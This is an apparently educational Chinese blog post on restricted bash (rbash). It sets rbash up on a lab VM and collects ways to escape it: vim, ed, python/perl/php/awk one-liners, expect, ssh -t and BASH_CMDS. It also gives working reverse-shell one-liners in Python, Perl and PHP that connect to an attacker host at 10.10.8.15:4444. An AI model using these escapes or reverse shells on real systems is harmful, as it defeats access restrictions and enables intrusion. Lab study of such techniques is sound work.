Linux rbash 限制绕过
Linux rbash 限制绕过
最近在打 Vulnhub，遇到了 rbash 需要绕过。
看着方法也很多，怕以后也遇到，写篇文章总结一下。
本篇文章参考：
- https://man.cx/bash
- https://www.lxlinux.net/restricted-shell.html
- https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/
- https://blog.csdn.net/qq_60848021/article/details/130041922
1 rbash 介绍
rbash（restricted bash）：是一种受限制的 Unix / Linux shell 环境，它是 Bash Shell 的一种变体，旨在提供一种更安全的 Shell 环境，限制用户对系统的访问和操作权限。
当用户被分配了 rbash 作为其默认 Shell 时，他们将无法执行许多常见的操作，例如：更改当前工作目录、重定向输入 / 输出、使用某些命令或设置特定的环境变量。
rbash 通常用于限制用户的操作范围，以防止他们对系统进行未经授权的更改或访问敏感信息。
以下是一些 rbash 的特点和限制：
- 无法更改当前工作目录：用户无法使用 cd 命令切换到其他目录，所以我们只能在当前目录下工作，其它目录都无法进入。
- 限制输入 / 输出重定向：用户无法使用重定向操作符（如 >、>>、<）来更改命令的输入或输出。
- 禁止设置或修改环境变量：用户无法设置或修改环境变量（$PATH，$ENV，$HOME 或 $SHELL），这样可以限制对系统配置的更改。
- 禁止使用特定命令：可以根据需要禁止用户执行特定的命令或指定的命令路径（能执行包含 / 字符的程序）。
- 限制用户自定义函数：用户无法定义或修改自定义函数。
2 rbash 设置
实验环境：
- OS：CentOS 7
- IP：10.10.8.137
注：以下命令需以 root 用户身份运行。
2.1 rbash 使用
首先，在 bash 所在位置创建一个名为 rbash 的符号链接，命令如下：
1 | [root@localhost ~]# ln -s /bin/bash /bin/rbash |
接下来，创建一个新用户，比如：yongz，并将默认 Shell 设置为 rbash 模式：
1 | [root@localhost ~]# useradd yongz -s /bin/rbash |
设置 yongz 用户密码：
1 | [root@localhost ~]# passwd yongz |
在新用户的文件夹内创建一个 bin 目录：
1 | [root@localhost ~]# mkdir /home/yongz/bin |
比如，我们允许用户仅运行 ls 、 mkdir 、和 ping 这三个命令。
当然，你还可以添加其它你允许用户运行的命令：
注：添加命令，其实就是给这个命令创建一个软件链接。
1 | [root@localhost ~]# ln -s /bin/ls /home/yongz/bin/ls |
这时大家应该明白了在前面的步骤中创建了 bin 目录的意图。
除了 bin 目录里的命令之外，用户是无法运行其它任何命令的。
编辑 /home/harry/.bash_profile 文件，将 bin 目录添加进去：
1 | [root@localhost ~]# echo 'PATH=$HOME/bin' >> /home/yongz/.bash_profile |
现在，当用户登录时，默认 Shell 就是 Restricted Shell（rbash）模式，它在刚运行的时候就会读取 .bash_profile 文件，将系统 PATH 环境变量设置为文件中 $HOME/bin ，这样用户只能运行 ls，mkdir 和 ping 这三个命令。
在 Restricted Shell 模式下用户不允许更改 PATH 值，同时 .bash_profile 文件的权限也不允许修改，这样用户就不能通过更改环境来绕过限制。
2.2 结果验证
现在，我们注销当前用户，然后以新创建的用户（即 yongz）的身份重新登陆（建议重新连接，不要用 su 可能会有意外结果）。
现在我们随便运行一些命令，看看命令是否可以被执行：
1 | [yongz@localhost ~]$ clear |
报错了，只不过报错的内容和我想象的有一点不一样，Chat 回答如下：
1 | 这个错误信息是一个 Shell 错误，表明在执行命令时发生了问题。 |
不管怎么说，确实不能运行了。
多试几个命令：
1 | [yongz@localhost ~]$ cd . |
查看命令执行路径与 Shell 环境：
1 | [yongz@localhost ~]$ echo $PATH |
尝试修改路径：
1 | [yongz@localhost ~]$ PATH=$PATH:/bin |
看来其它的命令真的是没办法使用了，那我们设置的允许新用户使用的三个命令，是否真的允许被运行？
我们再来试试确认一下：
1 | [yongz@localhost ~]$ ls -l |
正如我们所期待的一样，现在除了我们所设置的几个命令，新用户 yongz 无法执行其它任何命令。
3 rbash 绕过
在 rbash 的绕过中，需要枚举 linux 环境的信息，就像渗透测试中的信息收集，两者在各自的操作中起到了决定性的作用。
掌握的信息越多，绕过的方法就越多。
注：通常情况下有一个命令是绝对可以用的，那就是 ls，不然这个 rbash 真的一点意义都没有，纯恶心人。
根据 Raj Chandel 大佬的博客文章，可以将 rbash 绕过分为 6 个部分：
Bypass rbash using Editors：使用编辑器进行绕过
Bypass rbash using One liner：使用短小代码片段或命令进行绕过
Bypass rbash through Reverse Shell：通过反向 Shell 进行绕过
Bypass rbash using System binaries：使用系统二进制文件进行绕过
Bypass rbash using Expect：使用 Expect 进行绕过
Bypass rbash through SSH：通过 SSH 进行绕过
现在假设您已作为本地用户访问主机，并发现登录的用户是 rbash shell 的一部分，因此您无法运行某些系统命令。
例如： cd （更改目录），因为由于 rbash 它受到限制。
注：这里演示的均为无法使用 / 的情况。
3.1 检查 rbash 可用命令
可以一个命令一个命令的试，但显得有点笨，直接使用 echo 进行 PATH 查看：
注：
- 在大多数 Linux 发行版中，echo 是一个内置的 Shell 命令，而不是一个独立的可执行文件。
- 内置命令是由 Shell 解释器本身提供的，不需要在 $PATH 中查找对应的可执行文件。
1 | [yongz@localhost ~]$ echo $PATH |
通常情况下有一个命令是绝对可以用的，那就是 ls，看一看有什么命令：
1 | [yongz@localhost ~]$ ls -l /home/yongz/bin |
3.1.1 Editors
3.1.1.1 VI/VIM
由于没设置 VI / VIM 命令，这里设置一下：
注：VI 在大部分 Linux 中都是 VIM 的符号连接了。
在 root 用户下设置下：
1 | [root@localhost ~]# ln -s /usr/bin/vim /home/yongz/bin/vim |
在 yongz 用户下查看：
1 | [yongz@localhost ~]$ ls /home/yongz/bin -l |
敲击 VIM 命令，打开 VIM 窗口，进入命令模式，输入如下内容设置变量：
1 | :set shell=/bin/bash |
之后再此进入命令模式，输入：
1 | :shell |
这时会退出 VIM 窗口，进入 Bash Shell：
1 | [yongz@localhost ~]$ vim |
- 查看当前 Shell：
1 | [yongz@localhost ~]$ echo $0 |
注：要执行其他命令还需要添加 PATH。
3.1.1.2 ed-editor
ed-editor（简称为 ed）是一个基于命令行的文本编辑器，最初在 1969 年由肯・汤普逊（Ken Thompson）开发。
ed 是 Unix 系统早期的标准编辑器，它被设计为一种简单而高效的文本编辑工具，适用于终端环境。
在 root 用户下设置下：
1 | [root@localhost ~]# ln -s /usr/bin/ed /home/yongz/bin/ed |
在 yongz 用户下查看：
1 | [yongz@localhost ~]$ ls /home/yongz/bin -l |
敲击 ed 命令，打开 ed 输入如下命令：
1 | [yongz@localhost ~]$ ed |
3.1.2 One liner
3.1.2.1 Python
在 root 用户下设置下：
1 | [root@localhost ~]# ln -s /usr/bin/python /home/yongz/bin/python |
在 yongz 用户下查看：
1 | [yongz@localhost ~]$ ls /home/yongz/bin -l |
使用 Python 开启一个新的虚拟终端：
1 | [yongz@localhost ~]$ python -c 'import pty;pty.spawn("/bin/bash")' |
下面这种也可以：
1 | [yongz@localhost ~]$ python -c 'import os; os.system("/bin/bash")' |
3.1.2.2 Perl
在 root 用户下设置下：
1 | [root@localhost ~]# ln -s /usr/bin/perl /home/yongz/bin/perl |
在 yongz 用户下查看：
1 | [yongz@localhost ~]$ ls /home/yongz/bin -l |
使用 Perl 开启一个新的虚拟终端：
1 | [yongz@localhost ~]$ perl -e 'system("/bin/bash")' |
3.1.2.3 PHP
默认不自带 php，安装一下：
1 | [root@localhost ~]# yum install php -y |
在 root 用户下设置下：
1 | [root@localhost ~]# ln -s /usr/bin/php /home/yongz/bin/php |
在 yongz 用户下查看：
1 | [yongz@localhost ~]$ ls /home/yongz/bin -l |
使用 php 开启一个新的虚拟终端：
1 | [yongz@localhost ~]$ php -r 'exec("/bin/bash");' |
虽然可以开启一个终端，但是环境是残疾的。
3.1.2.4 awk
在 root 用户下设置下：
1 | [root@localhost ~]# ln -s /usr/bin/awk /home/yongz/bin/awk |
在 yongz 用户下查看：
1 | [yongz@localhost ~]$ ls /home/yongz/bin -l |
使用 awk 开启一个新的虚拟终端：
1 | [yongz@localhost ~]$ awk 'BEGIN {system("/bin/bash")}' |
3.1.3 Reverse Shell
3.1.3.1 Python
在攻击机中开启一个 nc 监听：
1 | root at kali in ~ |
在靶机中执行：
1 | [yongz@localhost ~]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.8.15",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
成功获取 Shell：
1 | root at kali in ~ |
3.1.3.2 Perl
在攻击机中开启一个 nc 监听：
1 | root at kali in ~ |
在靶机中执行：
1 | [yongz@localhost ~]$ perl -e 'use Socket;$i="10.10.8.15";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");}; |
成功获取 Shell：
1 | root at kali in ~ |
3.1.3.3 PHP
在攻击机中开启一个 nc 监听：
1 | root at kali in ~ |
在靶机中执行：
1 | [yongz@localhost ~]$ php -r '$sock=fsockopen("10.10.8.15",4444);exec("/bin/bash <&3 >&3 2>&3");' |
成功获取 Shell：
1 | root at kali in ~ |
3.1.4 System binaries
很少有人知道，一些系统二进制程序（例如 less、more、head、tail、man 等）对于绕过受限环境非常有用。
考虑这样一种情况，您在当前目录中有一个名为 passwd 的文件，并且只允许使用一些命令（例如 more 或 less）来读取日志。
注：这里我是没有复现成功，说是要需要关闭 / 符号的限制。
这里统一下内容，在 more、less、man 命令打开文件后，输入如下内容即可开启一个 Shell：
1 | # 有 PATH 变量的情况下 |
3.1.5 Expect
默认不自带 php，安装一下：
1 | [root@localhost ~]# yum install expect -y |
在 root 用户下设置下：
1 | [root@localhost ~]# ln -s /usr/bin/expect /home/yongz/bin/expect |
在 yongz 用户下查看：
1 | [yongz@localhost ~]$ ls /home/yongz/bin -l |
通过在 rbash Shell 上执行以下命令，绕过受限环境：
1 | expect1.1> spawn bash |
也没成功，我吐了，应该 PATH 限制了。
3.1.6 SSH
如果您知道属于 rbash Shell 的用户的 SSH 凭据，那么您可以使用以下命令和 SSH 来突破越狱并通过访问正确的 bash Shell 绕过 rbash：
1 | root at kali in ~ |
为什么呢？其实简单，在 CentOS 中，Login Shell 的配置文件加载是这样的：
- /etc/profile
- ~/.bash_profile
- ~/.bashrc
使用 ssh -t 分配一个终端并忽略 ~/.bash_profile 文件加载。
4 rbash 绕过补充
4.1 BASH_CMDS
BASH_CMDS 是一个环境变量，用于存储当前正在执行的 Bash 命令的相关信息，它是 Bash shell 内部使用的变量。
当你在 Bash shell 中执行命令时，Bash 会将该命令及其相关信息存储在 BASH_CMDS 环境变量中。
定义一个环境变量：
注：这里以 DC-2 靶机为例，因为正常情况下 / 限制是无法执行的。
1 | tom@DC-2:~$ BASH_CMDS[yz]=/bin/bash |
4.2 PATH 变量补充
刚刚所有的内容，PATH 都是被局限在了当前目录下：
1 | [yongz@localhost ~]$ echo $PATH |
这明显不行，因为我们还是没有什么命令可以执行，需要将 PATH 内容补齐（去 Kali 复制一个）：
1 | [yongz@localhost ~]$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:$PATH |
现在就随便咱操作了：
1 | [yongz@localhost ~]$ id |
相关推荐
2024-02-18
Linux Dirty COW 概述
Linux Dirty COW 概述1 Dirty COW 概述Dirty COW（Dirty Copy-on-Write）是一个计算机安全漏洞，也被称为 CVE-2016-5195。它于 2016 年首次公开，并且影响了许多基于 Linux 操作系统的设备和系统。 Dirty COW 漏洞存在于 Linux 内核的内存子系统中，具体影响了 Copy-on-Write（COW）机制。COW 是一种内存管理技术，在多个进程之间共享内存页面时使用。当一个进程试图修改共享页面时，操作系统会创建该页面的副本，以确保进程之间的数据隔离。然而，Dirty COW 漏洞允许恶意用户利用 COW 机制中的一个错误，以非法方式修改共享页面，绕过了操作系统的保护机制。 漏洞影响范围：Linux kernel 2.6.22以来的所有稳定版本：这包括2.6.22、2.6.32、3.x、4.x等版本。（2007 年发现，到 2016 年 10 月 18 日才修复） 并且 Android 也受影响。 Red Hat Enterprise Linux (RHEL) 5、6 和 7 的内核版本。 CentOS...
2024-02-18
Linux Dirty Pipe 概述
Linux Dirty Pipe 概述1 Dirty Pipe 概述CVE-2022-0847-DirtyPipe-Exploit 存在于 Linux 内核 5.8 及之后版本中的本地提权漏洞。漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用，漏洞作者将此漏洞命名为 Dirty Pipe。 漏洞影响范围：5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102 2 Dirty Pipe 复现这里使用 Ubuntu 20.04 作为测试环境，使用 Traitor 进行复现。 查看当前用户权限与内核： 1234yongz@ubuntu:/tmp$ iduid=1003(yongz) gid=1003(yongz) groups=1003(yongz)yongz@ubuntu:/tmp$ uname -aLinux ubuntu 5.8.0-41-generic #46~20.04.1-Ubuntu SMP Mon Jan 18 17:52:23 UTC 2021 x86_64 x86_64...
2023-02-16
Linux passwd 文件提权
Linux passwd 文件提权对于一个正常的 /etc/passwd 文件来说，他的权限如下所示： 123┌──(root㉿kali)-[~]└─# ls -l /etc/passwd -rw-r--r-- 1 root root 3163 Aug 21 14:59 /etc/passwd 根据所学权限可以看出，/etc/passwd 默认是主要 root 用户可读可写，root 组与其他组可读。 但是，假设运维人员突然抽了一下，将权限改为任意用户可读可写时，就会产生隐患： 1234567891011121314┌──(root㉿kali)-[~]└─# chmod o+w /etc/passwd ┌──(root㉿kali)-[~]└─# ls -l /etc/passwd -rw-r--rw- 1 root root 3163 Aug 21 14:59 /etc/passwd┌─...
2024-02-07
Linux shadow 文件提权
Linux shadow 文件提权1 shadow 提权说明对于一个正常的 /etc/shadow 文件来说，他的权限如下所示： 123root at kali in ~ $ ls -l /etc/shadow-rw-r----- 1 root shadow 1478 Nov 5 23:01 /etc/shadow 根据所学权限可以看出，/etc/shadow 默认是主要 root 用户可读可写，root 组可读： 123456root at kali in ~ $ su kali┌──(kali㉿kali)-[/root]└─$ cat /etc/shadowcat: /etc/shadow: Permission denied 切换到 Kali 用户可以发现，是没有查看权限的。 但是，假设运维人员突然抽了一下，将权限改为任意用户可读可写时，就会产生隐患： 1234567891011121314root at kali in ~ $ chmod o=rw /etc/shadowroot at kali in ~ $ ls -l /etc/shadow-rw-r--rw- ...
2023-10-11
Linux 特殊权限位说明
Linux 特殊权限位说明在复杂多变的生产环境中，单纯设置文件的 rwx 权限无法满足我们对安全和灵活性的需求，因此便有了 SUID、SGID 与 SBIT 的特殊权限位。这是一种对文件权限进行设置的特殊功能，可以与一般权限同时使用，以弥补一般权限不能实现的功能。 1 SUIDSUID（Set User ID） 是一种权限机制，通常用于 UNIX 和类 UNIX 系统中。它允许用户在执行特定程序时暂时获取该程序所有者的权限，而不是执行者的权限。这对于一些需要特殊权限才能完成的任务非常有用，例如修改系统文件或执行特定的系统命令。 特点如下： SUID 权限仅对二进制可执行文件有效； 如果执行者对于该二进制可执行文件具有 x 的权限，执行者将具有该文件的所有者的权限； 本权限仅在执行该二进制可执行文件的过程中有效； SUID 在权限位置有两种显示方式： 当命令所属用户具有 x 执行权限时为：s； 当命令所属用户不具有 x 执行权限时为：S。 123┌──(root㉿kali)-[~]└─# ls -l /usr/bin/passwd -rwsr-xr-x 1 ...
2023-10-18
Linux 计划任务反弹 Shell 探究
Linux 计划任务反弹 Shell 探究本篇文章参考自： https://mp.weixin.qq.com/s/rmUXqYulX3pyrNfINk90WQ 看本篇文章之前，建议阅读一下之前写的：Linux Bash Shell 探究，不然容易把人看蒙。 计划任务功能在 Windows 系统、Linux 系统中历史很悠久了，方便运维管理。 而在渗透测试中，利用到计划任务的常见的有：挖矿病毒、Redis 未授权、Docker 特权模式逃逸、Cron 提权等，但是在 RedHat 系与 Debian 系 Linux 的计划任务是有一定的区别的，不仔细研究一下遇到了真的很折磨人（深受其害，每次遇到都是问题，淦）。 想起来之前学习 ActiveMQ 漏洞时使用 Corn 提权在 Kali 上复现了一遍，就踩了不少坑。 果然，懒惰乃万恶之源，是时候还债了。 注：本篇文章主要选取两系中的一个作为演示 RedHat 系：CentOS 7 - 10.10.8.137 Debian 系：Kali 2023.3 - 10.10.8.134 1 问题列举 bash -i >&...
